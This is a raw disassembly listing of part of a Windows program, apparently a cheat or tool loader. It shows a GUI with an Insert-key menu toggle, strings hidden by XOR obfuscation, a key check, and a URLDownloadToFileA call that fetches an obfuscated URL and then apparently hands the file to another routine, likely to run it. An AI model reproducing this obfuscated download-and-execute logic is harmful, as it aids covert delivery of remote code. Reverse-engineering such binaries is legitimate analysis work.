mov dword [rbp + 0x44], 0x44020000
mov dword [rbp + 0x48], 0
mov dword [rbp + 0x4c], 0x42340000
call fcn.7ff754aa45b0
mov r9d, eax
mov dword [rsp + 0x28], 0xc0
lea rdx, [rbp + 0x48]
movss dword [rsp + 0x20], xmm11
lea r8, [rbp + 0x40]
mov rcx, r10
call fcn.7ff754ac3930
mov rcx, qword [0x7ff754c1f830]
mov dword [rbp + 0x50], 0x44340000
mov dword [rbp + 0x54], 0x41200000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov r15, qword [rcx + 0x3ea0]
cmp dword [r15 + 0xe8], 0
jg 0x7ff754ae8f9f
mov r8d, 0x708
lea rdx, [0x7ff754beb560]
lea rcx, [0x7ff754bf0978]
call qword [sym.imp.ucrtbase.dll__wassert]
movsxd rcx, dword [r15 + 0xe8]
xor edx, edx
mov rax, qword [r15 + 0xf0]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [0x7ff754becd7c]
call fcn.7ff754aa3f80
mov rcx, qword [0x7ff754c1f830]
mov r12d, eax
cmp dword [rcx + 0x3ee8], eax
jne 0x7ff754ae8fe5
lea r8, [0x7ff754becd7c]
mov edx, 0xb
mov ecx, eax
call fcn.7ff754abdf00
lea rdx, [rbp + 0x50]
mov ecx, r12d
call fcn.7ff754acef00
test al, al
jne 0x7ff754aed2d8
cmp dword [r15 + 0xe8], 0
mov dword [rbp + 0x58], 0x442a0000
mov dword [rbp + 0x5c], 0x41200000
jg 0x7ff754ae902b
mov r8d, 0x708
lea rdx, [0x7ff754beb560]
lea rcx, [0x7ff754bf0978]
call qword [sym.imp.ucrtbase.dll__wassert]
movsxd rcx, dword [r15 + 0xe8]
xor edx, edx
mov rax, qword [r15 + 0xf0]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [0x7ff754bfb028]
call fcn.7ff754aa3f80
mov rcx, qword [0x7ff754c1f830]
mov r15d, eax
cmp dword [rcx + 0x3ee8], eax
jne 0x7ff754ae9071
lea r8, [0x7ff754bfb028]
mov edx, 0xb
mov ecx, eax
call fcn.7ff754abdf00
lea rdx, [rbp + 0x58]
mov ecx, r15d
call fcn.7ff754acec60
test al, al
je 0x7ff754ae9095
call qword [sym.imp.user32.dll_GetActiveWindow]
mov rcx, rax
mov edx, 6
call qword [sym.imp.user32.dll_ShowWindow]
mov ecx, 0x2d
call qword [sym.imp.user32.dll_GetAsyncKeyState]
test al, 1
je 0x7ff754ae90b2
cmp byte [0x7ff754c55668], 0
sete byte [0x7ff754c55668]
cmp byte [0x7ff754c1f85b], 0
jne 0x7ff754aeace6
call fcn.7ff754ae2ec0
call fcn.7ff754ab61e0
mov rcx, qword [0x7ff754c1f830]
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x43900000
mov dword [rbp + 0x64], 0x43c80000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
lea rcx, [0x7ff754bfb030]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, dword [0x7ff754bfb9a8]
addss xmm0, dword [0x7ff754bfb998]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.7ff754aac020
mov rax, qword gs:[0x58]
mov edx, 0x140
mov r15d, edx
mov r12, qword [rax]
mov eax, 0x4cc
mov ecx, eax
mov eax, dword [rax + r12]
test al, 1
jne 0x7ff754ae9195
or eax, 1
mov word [rdx + r12 + 7], 0x15b
mov dword [rcx + r12], eax
lea rcx, [0x7ff754bbf100]
mov dword [rdx + r12], 0x6496b42a
mov word [rdx + r12 + 4], 0xcc93
mov byte [rdx + r12 + 6], 0xac
call fcn.7ff754bbb218
cmp byte [r12 + r15 + 8], 0
lea rdx, [r12 + r15]
je 0x7ff754ae91c4
xor byte [rdx], 0x7f
xor byte [rdx + 1], 0xc7
xor byte [rdx + 2], 0xe3
xor byte [rdx + 3], 5
xor byte [rdx + 4], 0xe1
xor byte [rdx + 5], 0xa5
xor byte [rdx + 6], 0xc3
xor byte [rdx + 7], 0x5b
mov byte [rdx + 8], 0
mov qword [rsp + 0x38], r13
lea rax, [rbp + 0x68]
mov qword [rsp + 0x30], r13
lea r8, [0x7ff754c1f950]
mov dword [rsp + 0x28], r13d
lea rcx, [0x7ff754bfb034]
mov r9d, 0x41
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x68], 0
call fcn.7ff754ad3e10
mov eax, 0x2b0
mov ecx, eax
mov edx, 0x330
mov r15d, edx
mov eax, dword [rax + r12]
test al, 1
jne 0x7ff754ae9240
or eax, 1
mov dword [rdx + r12 + 6], 0x185abc5
mov dword [rcx + r12], eax
lea rcx, [0x7ff754bbf0e0]
mov dword [rdx + r12], 0x30a2c0d5
mov word [rdx + r12 + 4], 0x834
call fcn.7ff754bbb218
cmp byte [r15 + r12 + 9], 0
lea rdx, [r15 + r12]
je 0x7ff754ae9273
xor byte [rdx], 0x85
xor byte [rdx + 1], 0xa1
xor byte [rdx + 2], 0xd1
xor byte [rdx + 3], 0x43
xor byte [rdx + 4], 0x43
xor byte [rdx + 5], 0x67
xor byte [rdx + 6], 0xb7
xor byte [rdx + 7], 0xcf
xor byte [rdx + 8], 0x85
mov byte [rdx + 9], 0
mov qword [rsp + 0x38], r13
lea rax, [rbp + 0x70]
mov qword [rsp + 0x30], r13
lea r8, [0x7ff754c1f8b0]
mov dword [rsp + 0x28], r13d
lea rcx, [0x7ff754bfb038]
mov r9d, 0x41
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x70], 0
call fcn.7ff754ad3e10
mov eax, 0x200
mov ecx, eax
mov edx, 0x360
mov r15d, edx
mov eax, dword [rax + r12]
test al, 1
jne 0x7ff754ae92ef
or eax, 1
mov dword [rdx + r12 + 6], 0x183722a
mov dword [rcx + r12], eax
lea rcx, [0x7ff754bbf0c0]
mov dword [rdx + r12], 0x1e162ecf
mov word [rdx + r12 + 4], 0xfc09
call fcn.7ff754bbb218
cmp byte [r15 + r12 + 9], 0
lea rdx, [r15 + r12]
je 0x7ff754ae9322
xor byte [rdx], 0x83
xor byte [rdx + 1], 0x47
xor byte [rdx + 2], 0x75
xor byte [rdx + 3], 0x7b
xor byte [rdx + 4], 0x67
xor byte [rdx + 5], 0x9f
xor byte [rdx + 6], 0x43
xor byte [rdx + 7], 0x13
xor byte [rdx + 8], 0x83
mov byte [rdx + 9], 0
mov qword [rsp + 0x38], r13
lea rax, [rbp + 0x78]
mov qword [rsp + 0x30], r13
lea r8, [0x7ff754c1f900]
mov dword [rsp + 0x28], r13d
lea rcx, [0x7ff754bfb03c]
mov r9d, 0x41
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x78], 0
call fcn.7ff754ad3e10
lea rdx, [rbp + 0x80]
mov dword [rbp + 0x80], 0x43020000
lea rcx, [0x7ff754bfb040]
mov dword [rbp + 0x84], 0x42200000
call fcn.7ff754ace280
test al, al
je 0x7ff754aeaab3
lea rdx, [0x7ff754c1f8b0]
lea rcx, [rbp + 0x1070]
call fcn.7ff754ad7430
lea rdx, [0x7ff754c1f950]
mov r15, rax
lea rcx, [rbp + 0x1090]
call fcn.7ff754ad7430
mov r8, r15
lea rcx, [0x7ff754c40b20]
mov rdx, rax
call fcn.7ff754b666e0
cmp byte [0x7ff754c40d38], 0
jne 0x7ff754ae93f0
lea rcx, [0x7ff754c40d40]
call fcn.7ff754ad7330
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxA]
jmp 0x7ff754aeaab3
mov rdx, qword [0x7ff754c40d00]
mov rax, qword [0x7ff754c40d08]
mov qword [rbp + 0xa8], rdx
mov qword [rbp + 0x340], rax
cmp rdx, rax
je 0x7ff754aeaab3
mov ecx, 0x488
add rcx, r12
mov r13d, 0x2b8
mov qword [rbp + 0x88], rcx
add r13, r12
mov ecx, 0x398
add rcx, r12
mov r15d, 0x318
add r15, r12
mov qword [rbp + 0x90], rcx
mov qword [rsp + 0x68], r15
nop word [rax + rax]
lea rcx, [rbp + 0x230]
call fcn.7ff754aefde0
mov eax, 0x374
mov ecx, eax
mov eax, dword [rax + r12]
test al, 1
jne 0x7ff754ae949b
or eax, 1
mov dword [rcx + r12], eax
lea rcx, [0x7ff754bbf0a0]
mov rax, qword [rbp + 0x88]
mov word [rax + 7], 0x19b
mov dword [rax], 0x863eff3d
mov word [rax + 4], 0x1632
mov byte [rax + 6], 0xe8
call fcn.7ff754bbb218
mov rax, qword [rbp + 0x88]
cmp byte [rax + 8], 0
je 0x7ff754ae94cb
xor byte [rax], 0x6d
xor byte [rax + 1], 0x8d
xor byte [rax + 2], 0x5b
xor byte [rax + 3], 0xeb
xor byte [rax + 4], 0x5b
xor byte [rax + 5], 0x63
xor byte [rax + 6], 0x85
xor byte [rax + 7], 0x9b
mov byte [rax + 8], 0
mov rdx, rax
lea rcx, [rbp + 0x568]
call fcn.7ff754ad7430
mov edx, 0x1b8
mov eax, dword [rdx + r12]
test al, 1
jne 0x7ff754ae9517
or eax, 1
lea rcx, [0x7ff754bbf080]
mov dword [rdx + r12], eax
mov rax, qword [rbp + 0x90]
mov word [rax + 7], 0x127
mov dword [rax], 0xd0856667
mov word [rax + 4], 0x3b3a
mov byte [rax + 6], 0x11
call fcn.7ff754bbb218
mov rax, qword [rbp + 0x90]
cmp byte [rax + 8], 0
je 0x7ff754ae9547
xor byte [rax], 3
xor byte [rax + 1], 3
xor byte [rax + 2], 0xe3
xor byte [rax + 3], 0xb1
xor byte [rax + 4], 0x4f
xor byte [rax + 5], 0x57
xor byte [rax + 6], 0x65
xor byte [rax + 7], 0x27
mov byte [rax + 8], 0
mov rdx, rax
lea rcx, [rbp + 0x4e8]
call fcn.7ff754ad7430
mov edx, 0x3e8
mov eax, dword [rdx + r12]
test al, 1
jne 0x7ff754ae959a
or eax, 1
mov word [r13 + 0xd], 0x18d
lea rcx, [0x7ff754bbf060]
mov dword [rdx + r12], eax
mov dword [r13], 0x90dbc85b
mov dword [r13 + 4], 0xe9e6e32c
mov dword [r13 + 8], 0x87c8d742
mov byte [r13 + 0xc], 0x2c
call fcn.7ff754bbb218
cmp byte [r13 + 0xe], 0
je 0x7ff754ae95ec
xor byte [r13], 0x2b
xor byte [r13 + 1], 0xad
xor byte [r13 + 2], 0xa9
xor byte [r13 + 3], 0xe3
xor byte [r13 + 4], 0x43
xor byte [r13 + 5], 0x8d
xor byte [r13 + 6], 0x87
xor byte [r13 + 7], 0x85
xor byte [r13 + 8], 0x2b
xor byte [r13 + 9], 0xad
xor byte [r13 + 0xa], 0xa9
xor byte [r13 + 0xb], 0xe3
xor byte [r13 + 0xc], 0x43
xor byte [r13 + 0xd], 0x8d
mov byte [r13 + 0xe], 0
mov rdx, r13
lea rcx, [rbp + 0x7e0]
call fcn.7ff754ad7430
mov edx, 0x2e4
mov eax, dword [rdx + r12]
test al, 1
jne 0x7ff754ae9631
or eax, 1
mov dword [r15 + 6], 0x161ca02
lea rcx, [0x7ff754bbf040]
mov dword [rdx + r12], eax
mov dword [r15], 0x20035603
mov word [r15 + 4], 0x164e
call fcn.7ff754bbb218
cmp byte [r15 + 9], 0
je 0x7ff754ae9669
xor byte [r15], 0x61
xor byte [r15 + 1], 0x2f
xor byte [r15 + 2], 0x73
xor byte [r15 + 3], 0x41
xor byte [r15 + 4], 0x3d
xor byte [r15 + 5], 0x65
xor byte [r15 + 6], 0x67
xor byte [r15 + 7], 0xa7
xor byte [r15 + 8], 0x61
mov byte [r15 + 9], 0
mov rdx, r15
lea rcx, [rbp + 0x7c0]
call fcn.7ff754ad7430
cmp qword [rbp + 0x580], 0x10
lea rdx, [rbp + 0x568]
mov rax, qword [rbp + 0x568]
lea rcx, [rbp + 0x230]
mov r15, qword [rbp + 0x240]
cmovae rdx, rax
cmp qword [rbp + 0x248], 0x10
mov qword [rbp + 0x338], rax
mov rax, qword [rbp + 0x230]
cmovae rcx, rax
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0x4e8]
mov qword [rbp + 0x98], rax
cmp r15, qword [rbp + 0x578]
jne 0x7ff754aea1c8
mov r8, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x7ff754aea1c1
movdqa xmm0, xmmword [0x7ff754bfbf70]
movdqa xmm1, xmmword [0x7ff754bfbb50]
mov eax, 0x494
mov ecx, eax
mov edx, 0x4f0
mov byte [0x7ff754c1f99c], 1
mov eax, dword [rax + r12]
mov dword [rbp - 0x30], 0xe38cfdce
mov dword [rbp - 0x2c], 0x51b5f8b0
mov dword [rbp - 0x28], 0xf5cba8d0
mov word [rbp - 0x24], 0xf7b9
mov byte [rbp - 0x22], 0xc1
mov r15d, edx
movdqu xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
test al, 1
jne 0x7ff754ae97be
or eax, 1
mov byte [rdx + r12 + 0x2f], 1
mov dword [rcx + r12], eax
lea rcx, [rdx + r12]
lea rdx, [rbp - 0x22]
lea rax, [rcx + 0x2e]
cmp rcx, rdx
ja 0x7ff754ae978f
lea rdx, [rbp - 0x50]
cmp rax, rdx
jb 0x7ff754ae978f
mov eax, dword [rbp - 0x28]
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x30]
movups xmmword [rcx + 0x10], xmm1
movsd qword [rcx + 0x20], xmm0
mov dword [rcx + 0x28], eax
movzx eax, word [rbp - 0x24]
mov word [rcx + 0x2c], ax
mov byte [rcx + 0x2e], 0xc1
jmp 0x7ff754ae97b2
mov eax, dword [rbp - 0x28]
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x30]
movups xmmword [rcx + 0x10], xmm1
movsd qword [rcx + 0x20], xmm0
mov dword [rcx + 0x28], eax
movzx eax, word [rbp - 0x24]
mov word [rcx + 0x2c], ax
mov byte [rcx + 0x2e], 0xc1
lea rcx, [0x7ff754bbf010]
call fcn.7ff754bbb218
cmp byte [r15 + r12 + 0x2f], 0
lea rdx, [r15 + r12]
je 0x7ff754ae988d
xor byte [rdx], 0xe1
xor byte [rdx + 1], 0x99
xor byte [rdx + 2], 0xe5
xor byte [rdx + 3], 0x91
xor byte [rdx + 4], 0xd5
xor byte [rdx + 5], 0x9b
xor byte [rdx + 6], 0xc1
xor byte [rdx + 7], 0x29
xor byte [rdx + 8], 0xe1
xor byte [rdx + 9], 0x99
xor byte [rdx + 0xa], 0xe5
xor byte [rdx + 0xb], 0x91
xor byte [rdx + 0xc], 0xd5
xor byte [rdx + 0xd], 0x9b
xor byte [rdx + 0xe], 0xc1
xor byte [rdx + 0xf], 0x29
xor byte [rdx + 0x10], 0xe1
xor byte [rdx + 0x11], 0x99
xor byte [rdx + 0x12], 0xe5
xor byte [rdx + 0x13], 0x91
xor byte [rdx + 0x14], 0xd5
xor byte [rdx + 0x15], 0x9b
xor byte [rdx + 0x16], 0xc1
xor byte [rdx + 0x17], 0x29
xor byte [rdx + 0x18], 0xe1
xor byte [rdx + 0x19], 0x99
xor byte [rdx + 0x1a], 0xe5
xor byte [rdx + 0x1b], 0x91
xor byte [rdx + 0x1c], 0xd5
xor byte [rdx + 0x1d], 0x9b
xor byte [rdx + 0x1e], 0xc1
xor byte [rdx + 0x1f], 0x29
xor byte [rdx + 0x20], 0xe1
xor byte [rdx + 0x21], 0x99
xor byte [rdx + 0x22], 0xe5
xor byte [rdx + 0x23], 0x91
xor byte [rdx + 0x24], 0xd5
xor byte [rdx + 0x25], 0x9b
xor byte [rdx + 0x26], 0xc1
xor byte [rdx + 0x27], 0x29
xor byte [rdx + 0x28], 0xe1
xor byte [rdx + 0x29], 0x99
xor byte [rdx + 0x2a], 0xe5
xor byte [rdx + 0x2b], 0x91
xor byte [rdx + 0x2c], 0xd5
xor byte [rdx + 0x2d], 0x9b
xor byte [rdx + 0x2e], 0xc1
mov byte [rdx + 0x2f], 0
lea rcx, [rbp + 0x508]
call fcn.7ff754ad7430
mov eax, 0x36c
mov ecx, eax
mov edx, 0x260
mov r15d, edx
mov eax, dword [rax + r12]
test al, 1
jne 0x7ff754ae98dc
or eax, 1
mov dword [rdx + r12 + 6], 0x18d2284
mov dword [rcx + r12], eax
lea rcx, [0x7ff754bbeff0]
mov dword [rdx + r12], 0x55569cd8
mov word [rdx + r12 + 4], 0x1807
call fcn.7ff754bbb218
cmp byte [r12 + r15 + 9], 0
lea rcx, [r12 + r15]
je 0x7ff754ae990f
xor byte [rcx], 0x8d
xor byte [rcx + 1], 0xcf
xor byte [rcx + 2], 0x13
xor byte [rcx + 3], 7
xor byte [rcx + 4], 0x49
xor byte [rcx + 5], 0x59
xor byte [rcx + 6], 0xc9
xor byte [rcx + 7], 0x67
xor byte [rcx + 8], 0x8d
mov byte [rcx + 9], 0
call qword [sym.imp.ucrtbase.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0xca0]
call fcn.7ff754ad7430
movdqa xmm0, xmmword [0x7ff754bfbb70]
movdqa xmm1, xmmword [0x7ff754bfbb30]
mov eax, 0x270
mov ecx, eax
mov edx, 0x1c0
movdqu xmmword [rbp - 0x10], xmm0
mov eax, dword [rax + r12]
mov dword [rbp + 0x10], 0xf54a5499
mov dword [rbp + 0x14], 0x19bbc7a9
mov word [rbp + 0x18], 0x23a9
mov r15d, edx
movdqu xmmword [rbp], xmm1
test al, 1
jne 0x7ff754ae99d0
or eax, 1
mov byte [rdx + r12 + 0x2a], 1
mov dword [rcx + r12], eax
lea rcx, [rdx + r12]
lea rdx, [rbp + 0x19]
lea rax, [rcx + 0x29]
cmp rcx, rdx
ja 0x7ff754ae99ab
lea rdx, [rbp - 0x10]
cmp rax, rdx
jb 0x7ff754ae99ab
movzx eax, word [rbp + 0x18]
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x10]
movups xmmword [rcx + 0x10], xmm1
movsd qword [rcx + 0x20], xmm0
mov word [rcx + 0x28], ax
jmp 0x7ff754ae99c4
movzx eax, word [rbp + 0x18]
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x10]
movups xmmword [rcx + 0x10], xmm1
movsd qword [rcx + 0x20], xmm0
mov word [rcx + 0x28], ax
lea rcx, [0x7ff754bbefc0]
call fcn.7ff754bbb218
cmp byte [r15 + r12 + 0x2a], 0
lea rdx, [r15 + r12]
je 0x7ff754ae9a8b
xor byte [rdx], 0xc5
xor byte [rdx + 1], 0x23
xor byte [rdx + 2], 0x23
xor byte [rdx + 3], 0x9b
xor byte [rdx + 4], 0xd1
xor byte [rdx + 5], 0xe9
xor byte [rdx + 6], 0xdf
xor byte [rdx + 7], 0x75
xor byte [rdx + 8], 0xc5
xor byte [rdx + 9], 0x23
xor byte [rdx + 0xa], 0x23
xor byte [rdx + 0xb], 0x9b
xor byte [rdx + 0xc], 0xd1
xor byte [rdx + 0xd], 0xe9
xor byte [rdx + 0xe], 0xdf
xor byte [rdx + 0xf], 0x75
xor byte [rdx + 0x10], 0xc5
xor byte [rdx + 0x11], 0x23
xor byte [rdx + 0x12], 0x23
xor byte [rdx + 0x13], 0x9b
xor byte [rdx + 0x14], 0xd1
xor byte [rdx + 0x15], 0xe9
xor byte [rdx + 0x16], 0xdf
xor byte [rdx + 0x17], 0x75
xor byte [rdx + 0x18], 0xc5
xor byte [rdx + 0x19], 0x23
xor byte [rdx + 0x1a], 0x23
xor byte [rdx + 0x1b], 0x9b
xor byte [rdx + 0x1c], 0xd1
xor byte [rdx + 0x1d], 0xe9
xor byte [rdx + 0x1e], 0xdf
xor byte [rdx + 0x1f], 0x75
xor byte [rdx + 0x20], 0xc5
xor byte [rdx + 0x21], 0x23
xor byte [rdx + 0x22], 0x23
xor byte [rdx + 0x23], 0x9b
xor byte [rdx + 0x24], 0xd1
xor byte [rdx + 0x25], 0xe9
xor byte [rdx + 0x26], 0xdf
xor byte [rdx + 0x27], 0x75
xor byte [rdx + 0x28], 0xc5
xor byte [rdx + 0x29], 0x23
mov byte [rdx + 0x2a], 0
lea rcx, [rbp + 0xc80]
call fcn.7ff754ad7430
mov eax, 0x4e8
mov ecx, eax
mov edx, 0x384
mov r15d, edx
mov eax, dword [rax + r12]
test al, 1
jne 0x7ff754ae9ace
or eax, 1
mov word [rdx + r12 + 1], 0x1f9
mov dword [rcx + r12], eax
lea rcx, [0x7ff754bbefa0]
mov byte [rdx + r12], 0x8f
call fcn.7ff754bbb218
cmp byte [r15 + r12 + 2], 0
lea rdx, [r15 + r12]
je 0x7ff754ae9ae5
xor byte [rdx], 0xd3
xor byte [rdx + 1], 0xf9
mov byte [rdx + 2], 0
lea rcx, [rbp + 0x200]
call fcn.7ff754ad7430
mov eax, 0x134
mov ecx, eax
mov edx, 0x32c
mov r15d, edx
mov eax, dword [rax + r12]
test al, 1
jne 0x7ff754ae9b23
or eax, 1
mov dword [rdx + r12], 0x167695e
mov dword [rcx + r12], eax
lea rcx, [0x7ff754bbef80]
call fcn.7ff754bbb218
cmp byte [r15 + r12 + 3], 0
lea rdx, [r15 + r12]
je 0x7ff754ae9b3e
xor byte [rdx], 0x1d
xor byte [rdx + 1], 0x53
xor byte [rdx + 2], 0x67
mov byte [rdx + 3], 0
lea rcx, [rbp + 0x3a8]
call fcn.7ff754ad7430
mov eax, 0x310
mov ecx, eax
mov edx, 0x520
mov r15d, edx
mov eax, dword [rax + r12]
test al, 1
jne 0x7ff754ae9b92
or eax, 1
mov word [rdx + r12 + 7], 0x103
mov dword [rcx + r12], eax
lea rcx, [0x7ff754bbef60]
mov dword [rdx + r12], 0xfd97f022
mov word [rdx + r12 + 4], 0xa898
mov byte [rdx + r12 + 6], 0xea
call fcn.7ff754bbb218
cmp byte [r15 + r12 + 8], 0
lea rdx, [r15 + r12]
je 0x7ff754ae9bc1
xor byte [rdx], 0x75
xor byte [rdx + 1], 0x99
xor byte [rdx + 2], 0xf9
xor byte [rdx + 3], 0x99
xor byte [rdx + 4], 0xf7
xor byte [rdx + 5], 0xdf
xor byte [rdx + 6], 0x99
xor byte [rdx + 7], 3
mov byte [rdx + 8], 0
lea rcx, [rbp + 0x4b0]
call fcn.7ff754ad7430
mov eax, 0x314
mov ecx, eax
mov edx, 0x208
mov r15d, edx
mov eax, dword [rax + r12]
test al, 1
jne 0x7ff754ae9c19
or eax, 1
mov dword [rdx + r12 + 0xa], 0x1c7816f
mov dword [rcx + r12], eax
lea rcx, [0x7ff754bbef40]
mov dword [rdx + r12], 0x84622a81
mov dword [rdx + r12 + 4], 0xc53fd0a9
mov word [rdx + r12 + 8], 0x39db
call fcn.7ff754bbb218
cmp byte [r15 + r12 + 0xd], 0
lea rdx, [r15 + r12]
je 0x7ff754ae9c5c
xor byte [rdx], 0xf5
xor byte [rdx + 1], 0x5d
xor byte [rdx + 2], 3
xor byte [rdx + 3], 0xed
xor byte [rdx + 4], 0xc7
xor byte [rdx + 5], 0x8f
xor byte [rdx + 6], 7
xor byte [rdx + 7], 0xf3
xor byte [rdx + 8], 0xf5
xor byte [rdx + 9], 0x5d
xor byte [rdx + 0xa], 3
xor byte [rdx + 0xb], 0xed
xor byte [rdx + 0xc], 0xc7
mov byte [rdx + 0xd], 0
lea rcx, [rbp + 0x490]
call fcn.7ff754ad7430
mov rcx, qword [rbp + 0x3b8]
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp + 0x210]
sub rax, rcx
cmp rax, rdx
jb 0x7ff754aed2f9
cmp qword [rbp + 0x3c0], 0x10
lea r9, [rbp + 0x3a8]
mov qword [rsp + 0x30], rdx
lea rax, [rbp + 0x200]
cmovae r9, qword [rbp + 0x3a8]
lea r8, [rbp + 0x3a8]
cmp qword [rbp + 0x218], 0x10
movzx edx, bl
cmovae rax, qword [rbp + 0x200]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x848]
call fcn.7ff754ad7d20
cmp qword [rbp + 0x4c8], 0x10
lea rdx, [rbp + 0x4b0]
mov r8, qword [rbp + 0x4c0]
lea rcx, [rbp + 0x848]
cmovae rdx, qword [rbp + 0x4b0]
call fcn.7ff754ad77f0
mov r8, qword [rbp + 0x210]
lea rdx, [rbp + 0x200]
xor r15d, r15d
lea rcx, [rbp + 0x1e0]
cmp qword [rbp + 0x218], 0x10
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
cmovae rdx, qword [rbp + 0x200]
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.7ff754ad77f0
cmp qword [rbp + 0x4a8], 0x10
lea rdx, [rbp + 0x490]
mov r8, qword [rbp + 0x4a0]
lea rcx, [rbp + 0x1c0]
cmovae rdx, qword [rbp + 0x490]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1d0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.7ff754ad77f0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rbp + 0x1d8]
movups xmmword [rbp + 0x5c8], xmm0
movups xmmword [rbp + 0x5d8], xmm1
cmp rdx, 0x10
jb 0x7ff754ae9e3d
mov rcx, qword [rbp + 0x1c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754ae9e38
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfbf
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0x1f8]
mov eax, 0xf
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], rax
mov byte [rbp + 0x1c0], r15b
cmp rdx, 0x10
jb 0x7ff754ae9e9d
mov rcx, qword [rbp + 0x1e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754ae9e93
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfbf
call fcn.7ff754bbb050
mov eax, 0xf
mov rdx, qword [rbp + 0x860]
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], rax
mov byte [rbp + 0x1e0], r15b
cmp rdx, 0x10
jb 0x7ff754ae9ef3
mov rcx, qword [rbp + 0x848]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754ae9eee
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfbf
call fcn.7ff754bbb050
lea rdx, [rbp + 0x5c8]
lea rcx, [rbp + 0x2e0]
call fcn.7ff754aefde0
cmp qword [rbp + 0x2f8], 0x10
lea r8, [rbp + 0x2e0]
lea rdx, [rbp + 0x508]
mov qword [rsp + 0x20], r15
cmovae r8, qword [rbp + 0x2e0]
cmp qword [rbp + 0x520], 0x10
cmovae rdx, qword [rbp + 0x508]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x7ff754ae9f63
mov r8d, 0x1e
lea rdx, [0x7ff754bfaf30]
lea rcx, [0x7ff754c1e730]
call fcn.7ff754ad7680
jmp 0x7ff754ae9f6f
lea rcx, [rbp + 0x2e0]
call fcn.7ff754ae7950
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0x10
jb 0x7ff754ae9fb0
mov rcx, qword [rbp + 0x2e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754ae9fab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfc6
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0x5e0]
cmp rdx, 0x10
jb 0x7ff754ae9ff1
mov rcx, qword [rbp + 0x5c8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754ae9fec
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfcd
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0x4a8]
cmp rdx, 0x10
jb 0x7ff754aea032
mov rcx, qword [rbp + 0x490]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea02d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfcd
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0x10
jb 0x7ff754aea073
mov rcx, qword [rbp + 0x4b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea06e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfcd
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0x3c0]
cmp rdx, 0x10
jb 0x7ff754aea0b4
mov rcx, qword [rbp + 0x3a8]
inc rdx
